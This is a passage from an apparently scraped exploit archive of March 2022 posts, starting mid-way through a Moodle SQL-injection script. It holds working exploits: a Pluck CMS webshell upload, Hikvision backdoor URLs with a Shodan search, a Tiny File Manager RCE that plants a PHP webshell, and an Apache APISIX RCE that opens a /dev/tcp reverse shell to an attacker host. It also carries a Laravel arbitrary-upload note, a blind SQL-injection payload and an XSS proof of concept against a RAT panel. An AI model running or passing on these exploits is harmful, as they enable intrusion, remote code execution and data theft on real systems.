new_badge2(conf.s, conf.sesskey, app_root, <br />course_id, image_id)<br /> if (conf.badge_id == -1):<br /> sys.exit("[-] ya done fucked up...")<br /><br /> with open("/tmp/last-known-badge-id", "w") as f:<br /> f.write(conf.badge_id)<br /><br /> # - update the sesskey and badge_id in the body of the requests<br /> # - it seems necessary to update both the conf.parameters and <br />conf.paramDict structures<br /> post = <br />("sesskey={sesskey}&_qf__edit_criteria_form=1&mform_isexpanded_id_first_header=1&"<br />"mform_isexpanded_id_aggregation=0&mform_isexpanded_id_description_header=0&field_firstname=0&"<br />"field_lastname=0&field_lastname=*&field_email=0&field_address=0&field_phone1=0&field_phone2=0&"<br />"field_department=0&field_institution=0&field_description=0&field_picture=0&field_city=0&"<br />"field_country=0&agg=2&description[text]=&description[format]=1&submitbutton=Save".format(sesskey=conf.sesskey))<br /><br /> get = "badgeid={badge_id}&add=1&type=6".format(badge_id=conf.badge_id)<br /><br /> conf.parameters = {'(custom) POST': post,<br /> 'GET': get,<br /> 'Host': conf.parameters['Host'],<br /> 'Referer': conf.parameters['Referer'],<br /> 'User-Agent': conf.parameters['User-Agent']}<br /><br /> conf.paramDict = {'(custom) POST': OrderedDict([('#1*', post)]),<br /> 'GET': OrderedDict([('badgeid', conf.badge_id),<br /> ('add', '1'),<br /> ('type', '6')]),<br /> 'Host': {'Host': conf.parameters['Host']},<br /> 'Referer': {'Referer': <br />'{app_root}/badges/criteria_settings.php'.format(app_root=app_root)},<br /> 'User-Agent': {'User-Agent': 'Mozilla/5.0 (Windows NT <br />10.0; Win64; x64) AppleWebKit/537.36 '<br /> '(KHTML, like Gecko) <br />Chrome/98.0.4758.82 Safari/537.36'}}<br /><br /> # we need to update values for the second request too<br /> secondReq_url = ("id={badge_id}&activate=1&sesskey={sesskey}&"<br />"confirm=1&return=/badges/criteria.php?id={badge_id}".format(badge_id=conf.badge_id, <br /><br />sesskey=conf.sesskey))<br /><br /> kb['secondReq'] = <br />('{app_root}/badges/action.php'.format(app_root=app_root), 'POST',<br /> secondReq_url, None,<br /> (('Host', app_root.split('/')[2]),<br /> ('Content-Type', 'application/x-www-form-urlencoded'),<br /> ('Cookie', <br />'MoodleSession={}'.format(conf.s.cookies.get_dict()['MoodleSession'])), <br /># yes, ugly<br /> ('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) <br />AppleWebKit/537.36'<br /> ' (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36')))<br /><br /> return payload<br /><br /></code></pre>
<pre><code># Exploit Title: Pluck CMS 4.7.16 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 13.03.2022<br /># Exploit Author: Ashish Koli (Shikari)<br /># Vendor Homepage: https://github.com/pluck-cms/pluck<br /># Version: 4.7.16<br /># Tested on Ubuntu 20.04.3 LTS<br /># CVE: CVE-2022-26965<br /># Usage : python3 exploit.py <IP> <Port> <Password> <Pluckcmspath><br /># Example: python3 exploit.py 127.0.0.1 80 admin /pluck<br /># Reference: https://github.com/shikari00007/Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated--POC<br /><br />'''<br />Description:<br />A theme upload functinality in Pluck CMS before 4.7.16 allows an admin<br />privileged user to gain access in the host through the "themes files",<br />which may result in remote code execution.<br />'''<br /><br /><br />'''<br />Import required modules:<br />'''<br />import sys<br />import requests<br />import json<br />import time<br />import urllib.parse<br />import struct<br /><br />'''<br />User Input:<br />'''<br />target_ip = sys.argv[1]<br />target_port = sys.argv[2]<br />password = sys.argv[3]<br />pluckcmspath = sys.argv[4]<br /><br /><br />'''<br />Get cookie<br />'''<br />session = requests.Session()<br />link = 'http://' + target_ip + ':' + target_port + pluckcmspath<br />response = session.get(link)<br />cookies_session = session.cookies.get_dict()<br />cookie = json.dumps(cookies_session)<br />cookie = cookie.replace('"}','')<br />cookie = cookie.replace('{"', '')<br />cookie = cookie.replace('"', '')<br />cookie = cookie.replace(" ", '')<br />cookie = cookie.replace(":", '=')<br /><br /><br />'''<br />Authentication:<br />'''<br /># Compute Content-Length:<br />base_content_len = 27<br />password_encoded = urllib.parse.quote(password, safe='')<br />password_encoded_len = len(password_encoded.encode('utf-8'))<br />content_len = base_content_len + password_encoded_len<br /><br /># Construct Header:<br />header = {<br /> 'Host': target_ip,<br /> 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',<br /> 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',<br /> 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Content-Type': 'application/x-www-form-urlencoded',<br /> 'Content-Length': str(content_len),<br /> 'Origin': 'http://' + target_ip,<br /> 'Connection': 'close',<br /> 'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',<br /> 'Cookie': cookie,<br /> 'Upgrade-Insecure-Requests': '1'<br />}<br /><br /># Construct Data:<br />body = {<br /> 'cont1': password,<br /> 'bogus': '',<br /> 'submit': 'Log in',<br />}<br /><br /># Authenticating:<br />link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'<br />auth = requests.post(link_auth, headers=header, data=body)<br />print('')<br />if 'error' in auth.text:<br /> print('Password incorrect, please try again:')<br /> exit()<br />else:<br /> print('Authentification was succesfull, uploading webshell')<br /> print('')<br /><br /><br />'''<br />Upload Webshell:<br />'''<br /># Construct Header:<br />header1 = {<br /> 'Host': target_ip,<br /> 'Cache-Control': 'max-age=0',<br /> 'sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="90"',<br /> 'sec-ch-ua-mobile': '?0',<br /> 'Origin': 'http://' + target_ip,<br /> 'Upgrade-Insecure-Requests': '1',<br /> 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',<br /> 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',<br /> 'Sec-Fetch-Site': 'same-origin',<br /> 'Sec-Fetch-Mode': 'navigate',<br /> 'Sec-Fetch-User': '?1',<br /> 'Sec-Fetch-Dest': 'document',<br /> 'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Accept-Language': 'en-US,en;q=0.9',<br /> 'Cookie': cookie,<br /> 'Connection': 'close',<br /> <br />}<br /><br /><br /># loading Webshell payload: <br />path = 'shell.tar'<br />fp = open(path,'rb')<br />data= fp.read()<br /><br /><br /># Uploading Webshell:<br />link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=themeinstall'<br />upload = requests.post(link_upload, headers=header1, data=data)<br /><br /><br />'''<br />Finish:<br />'''<br />print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/data/themes/shell/shell.php')<br />print('')<br /> <br /></code></pre>
<pre><code># Exploit Title: Hikvision IP Camera - Backdoor<br /># Date: 14/03/2022<br /># Exploit Author: Sobhan Mahmoodi<br /># Reference: https://ipvm.com/reports/hik-exploit<br /># GitHub: https://github.com/bp2008/HikPasswordHelper/<br /><br />Hikvision included a magic string that allowed instant access to any camera, regardless of what the admin password was. All that needed was appending this string to Hikvision camera commands: (?auth=YWRtaW46MTEK)<br /><br /># Proof of Concept:<br /><br />Retrieve a list of all users and their roles:<br />- http://camera.ip/Security/users?auth=YWRtaW46MTEK<br /><br />Obtain a camera snapshot without authentication:<br />- http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK<br /><br />Download camera configuration:<br />- http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK<br /><br />Shodan link to monitor :<br />https://www.shodan.io/search?query=%22App-webs%22+%22200+OK%22<br /><br /></code></pre>
<pre><code># Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)<br /># Date: 14/03/2022<br /># Exploit Author: FEBIN MON SAJI<br /># Software Link: https://github.com/prasathmani/tinyfilemanager<br /># Version: Tiny File Manager <= 2.4.6<br /># Tested on: Ubuntu 20.04<br /># CVE : CVE-2021-40964<br /># Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/<br /><br />#!/bin/bash<br /><br />check(){<br /><br />which curl<br />if [ $? = 0 ]<br />then<br />printf "[✔] Curl found! \n"<br />else<br />printf "[❌] Curl not found! \n"<br />exit<br />fi<br /><br />which jq<br />if [ $? = 0 ]<br />then<br />printf "[✔] jq found! \n"<br />else<br />printf "[❌] jq not found! \n"<br />exit<br />fi<br />}<br />usage(){<br /><br />printf "<br />TIny File Manager Authenticated RCE Exploit.<br /><br />By FEBIN<br /><br />$0 <URL> <Admin Username> <Password><br /><br />Example: $0 http://files.ubuntu.local/index.php admin \"admin@123\"<br /><br />"<br />}<br /><br />log-in(){<br />URL=$1<br />admin=$2<br />pass=$3<br />cookie=$(curl "$URL" -X POST -s -d "fm_usr=$admin&fm_pwd=$pass" -i | grep "Set-Cookie: " | sed s/"Set-Cookie: "//g | tr -d " " | tr ";" "\n" | head -1)<br /><br />if [ $cookie ]<br />then<br />printf "\n[+] Login Success! Cookie: $cookie \n"<br />else<br />printf "\n[-] Logn Failed! \n"<br />fi<br /><br />URL=${URL}<br />}<br /><br />find_webroot(){<br /><br /><br />webroot=$(curl -X POST "$URL?p=&upload" -d "type=upload&uploadurl=http://vyvyuytcuytcuycuytuy/&ajax=true" -H "Cookie: $cookie" -s | jq | grep file | tr -d '"' | tr -d "," | tr -d " " | sed s/"file:"//g | tr "/" "\n" | head --lines=-1 | tr "\n" "/" )<br /><br /><br />if [ $webroot ]<br />then<br />printf "\n[*] Try to Leak Web root directory path \n\n"<br />printf "[+] Found WEBROOT directory for tinyfilemanager using full path disclosure bug : $webroot \n\n" <br />else<br />printf "[-] Can't find WEBROOT! Using default /var/www/html \n"<br />webroot="/var/www/html"<br />fi<br />}<br /><br />upload(){<br /><br />#webroot="/var/www/tiny/"<br />shell="shell$RANDOM.php"<br />echo "<?php system(\$_REQUEST['cmd']); ?>" > /tmp/$shell<br /><br /><br /><br />curl $URL?p= -X POST -s -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0" -b $cookie -F "p=" -F "fullpath=../../../../../../../..${webroot}/${shell}" -F "file=@/tmp/$shell" | grep "successful"<br /><br /><br />}<br /><br />exploit(){<br /><br />WEB_URL=$(printf "$URL" | tr "/" "\n" | head --lines=-1 | tr "\n" "/")<br /><br />upload<br /><br /><br />if [ $? = 0 ]<br />then<br />printf "[+] File Upload Successful! \n"<br />else<br />printf "[-] File Upload Unsuccessful! Exiting! \n"<br />exit 1<br />fi<br /><br /><br />printf "[+] Checking for the shell \n"<br /><br /><br />curl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep "found" >/dev/null<br />if [ $? = 0 ]<br />then<br />printf "[+] Shell found ${WEB_URL}/$shell \n"<br />else <br />printf "[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \n"<br />exit 2<br />fi<br /><br />printf "[+] Getting shell access! \n\n"<br /><br />while true<br />do<br />printf "$> "<br />read cmd<br />curl ${WEB_URL}/$shell -s -X POST -d "cmd=${cmd}"<br />done<br />}<br /><br />if [ $1 ] && [ $2 ] && [ $3 ]<br />then<br />check<br />log-in $1 $2 $3<br /><br />find_webroot<br /><br /><br />exploit<br />else<br />usage<br />fi<br /><br /></code></pre>
<pre><code># Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)<br /># Date: 2022-03-16<br /># Exploit Author: Ven3xy<br /># Vendor Homepage: https://apisix.apache.org/<br /># Version: Apache APISIX 1.3 – 2.12.1<br /># Tested on: CentOS 7<br /># CVE : CVE-2022-24112<br /><br /><br />import requests<br />import sys<br /><br />class color:<br /> HEADER = '\033[95m'<br /> IMPORTANT = '\33[35m'<br /> NOTICE = '\033[33m'<br /> OKBLUE = '\033[94m'<br /> OKGREEN = '\033[92m'<br /> WARNING = '\033[93m'<br /> RED = '\033[91m'<br /> END = '\033[0m'<br /> UNDERLINE = '\033[4m'<br /> LOGGING = '\33[34m'<br />color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] <br /> <br /><br />def banner():<br /> run = color_random[6]+'''\n . , <br /> _.._ * __*\./ ___ _ \./._ | _ *-+-<br /> (_][_)|_) |/'\ (/,/'\[_)|(_)| | <br /> | | <br />\n'''<br /> run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n''' <br /> run3 = color_random[4]+'''{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }\n\n'''<br /> print(run+run2+run3) <br /><br />if (len(sys.argv) != 4):<br /> banner()<br /> print("[!] Usage : ./apisix-exploit.py <target_url> <lhost> <lport>")<br /> exit()<br /> <br />else:<br /> banner()<br /> target_url = sys.argv[1] <br /> lhost = sys.argv[2]<br /> lport = sys.argv[3]<br /> <br />headers1 = {<br /> 'Host': '127.0.0.1:8080',<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',<br /> 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',<br /> 'Accept': '*/*',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Content-Type': 'application/json',<br /> 'Content-Length': '540',<br /> 'Connection': 'close',<br />}<br /><br />headers2 = {<br /> 'Host': '127.0.0.1:8080',<br /> 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',<br /> 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',<br /> 'Accept': '*/*',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Content-Type': 'application/json',<br /> 'Connection': 'close',<br />}<br /><br />json_data = {<br /> 'headers': {<br /> 'X-Real-IP': '127.0.0.1',<br /> 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',<br /> 'Content-Type': 'application/json',<br /> },<br /> 'timeout': 1500,<br /> 'pipeline': [<br /> {<br /> 'path': '/apisix/admin/routes/index',<br /> 'method': 'PUT',<br /> 'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',<br /> },<br /> ],<br />}<br /><br />response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)<br /><br />response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)<br /> <br /><br /></code></pre>
<pre><code># Exploit Title: Laravel Media Library Pro <=2.1.6 - Arbitrary File Upload (Unauthenticated) <br /># Google Dork: -<br /># Date: Mar 13, 2022<br /># Exploit Author: Kelvin Yip <kelvin@cybersecthreat.com><br /># Vendor Homepage: https://spatie.be/ <br /># Software Link: https://spatie.be/products/media-library-pro<br /># Version: <=1.17.10 & <=2.1.6<br /># Tested on: Laradock (PHP 8.0) inside Ubuntu 20.04<br /># CVE : CVE-2021-45040<br /><br />#######################################################################################################<br />Description:<br /><br />The Spatie media-library-pro library through 1.17.10 & 2.1.6 for Laravel allows remote attackers to upload executable files via the uploads route.<br /><br />#######################################################################################################<br />Xploit : Arbitrary File Upload (Unauthenticated)<br /><br />Default URL: http://server/api/media-library-pro/uploads OR http://server/media-library-pro/uploads<br /><br />Note: The URL can be changed by developer. <br /><br />Upload a PHP webshell or shell file with 3 parameters: (uuid, name and file), the JSON response will contain “original_url”, access the URL in the browser to get the shell access.<br /><br />#######################################################################################################<br />Additional Information for setup, test and solutions: https://cybersecthreat.com/2022/03/14/cve-2021-45040/<br />#######################################################################################################<br /></code></pre>
<pre><code># Exploit Title: College Website Management System 1.0 - SQL Injection<br /># Date: 12/03/2022<br /># Exploit Author: Mr Empy<br /># Software Link:<br />https://www.sourcecodester.com/php/15203/college-website-content-management-system-phpoop-free-source-code.html<br /># Version: 1.0<br /># Tested on: Linux<br /><br />Title:<br />================<br />College Website Management System 1.0 - SQL Injection<br /><br /><br />Summary:<br />================<br />The College Website Management System application in version 1.0 is<br />vulnerable to SQL injection allowing the attacker to make requests to the<br />database.<br /><br /><br />Severity Level:<br />================<br />9.1 (Critical)<br />CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N<br /><br /><br />Affected Product:<br />================<br />College Website Management System v1.0<br /><br /><br />Steps to Reproduce:<br />================<br /><br />1. Open your browser and go to<br />http://target/cwms/admin/?page=articles/view_article&id=1.<br /><br />2. In the "id" parameter add the following payload:<br /><br />' and (select * from(select(sleep(10)))Avx) and 'abc' = 'abc<br /><br />After that, the server will only respond after 10 seconds have passed.<br /><br /><br />---<br />Parameter: id (GET)<br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: page=articles/view_article&id=1' AND (SELECT 2016 FROM<br />(SELECT(SLEEP(5)))kbJu) AND 'SfwZ'='SfwZ<br />---<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/c4cc1317aea42f7dd4a1b786c5278a24_C.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Hades RAT - Web Panel<br />Vulnerability: Remote Persistent XSS<br />Family: Hades<br />Type: WebUI<br />MD5: c4cc1317aea42f7dd4a1b786c5278a24<br />MD5: d1d082cbb2a394c8974e734e2ad9f226 (index.php)<br />Vuln ID: MVID-2022-0514<br />Disclosure: 03/13/2022<br />Description: The Hades Rat web-panel listens on Port 80, it takes three HTTP Post parameters to write bot commands. Commands are written to three files: commande1.txt, commande2.txt and commande3.txt. The index.php file does not follow secure coding practices e.g. no sanitizing of input. Third-party attackers who can authenticate to the Hades server, can make HTTP Post requests writing arbitrary JS code into the commande1.txt file. The XSS payload will execute client side code in the security context of the currently logged on user anytime the WebUI is accessed. This can result in data modification, theft or GEO location disclosure of the user accessing the Hades Rat WebUI.<br /><br />index.php snippet.<br /><br />if(isset($_SESSION['valide']['m']) AND $_SESSION['valide']['m'] == 1)<br />{<br /> $commande1_fichier = fopen("commandes/commande1.txt", "r+");<br /> $commande2_fichier = fopen("commandes/commande2.txt", "r+");<br /> $commande3_fichier = fopen("commandes/commande3.txt", "r+");<br /> <br /> $commande1_string = fgets($commande1_fichier);<br /> $commande2_string = fgets($commande2_fichier);<br /> $commande3_string = fgets($commande3_fichier);<br /> <br /> if(isset($_POST['commande1'], $_POST['commande2'], $_POST['commande3']))<br /> {<br /> $commande1 = $_POST['commande1'];<br /> $commande2 = $_POST['commande2'];<br /> $commande3 = $_POST['commande3'];<br /> <br /> fseek($commande1_fichier, 0); fseek($commande2_fichier, 0); fseek($commande3_fichier, 0);<br /> <br /> $commande1_whipe = fopen("commandes/commande1.txt", "w+");<br /> $commande2_whipe = fopen("commandes/commande2.txt", "w+");<br /> $commande3_whipe = fopen("commandes/commande3.txt", "w+"); <br /><br /><br />Exploit/PoC:<br />import urllib2,urllib,time,re<br />from cookielib import CookieJar<br /><br />HADES_RAT_IP="x.x.x.x"<br />HADES_PASSWD="megapass"<br /><br />c = CookieJar()<br />opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(c))<br />payload = { "mdp" : HADES_PASSWD }<br />xss = '"/><script>alert(666)</script>"'<br />encoded = urllib.urlencode(payload)<br />res = opener.open("http://"+HADES_RAT_IP+"/WebPanel/index.php", encoded)<br />content = res.read()<br /><br />time.sleep(1)<br /><br />payload = { 'commande1' : xss, 'commande2' : "", 'commande3' : "" }<br />encoded = urllib.urlencode(payload)<br />res = opener.open("http://"+HADES_RAT_IP+"/WebPanel/index.php", encoded)<br />content = res.read()<br /><br />hades = re.findall(r"<title.*?>(.+?)</title>", content)<br />tmp=""<br />for i in hades:<br /> tmp += i.decode("utf-8")<br /><br />if tmp:<br /> print(tmp)<br /> print("XSS Exploit successful!")<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>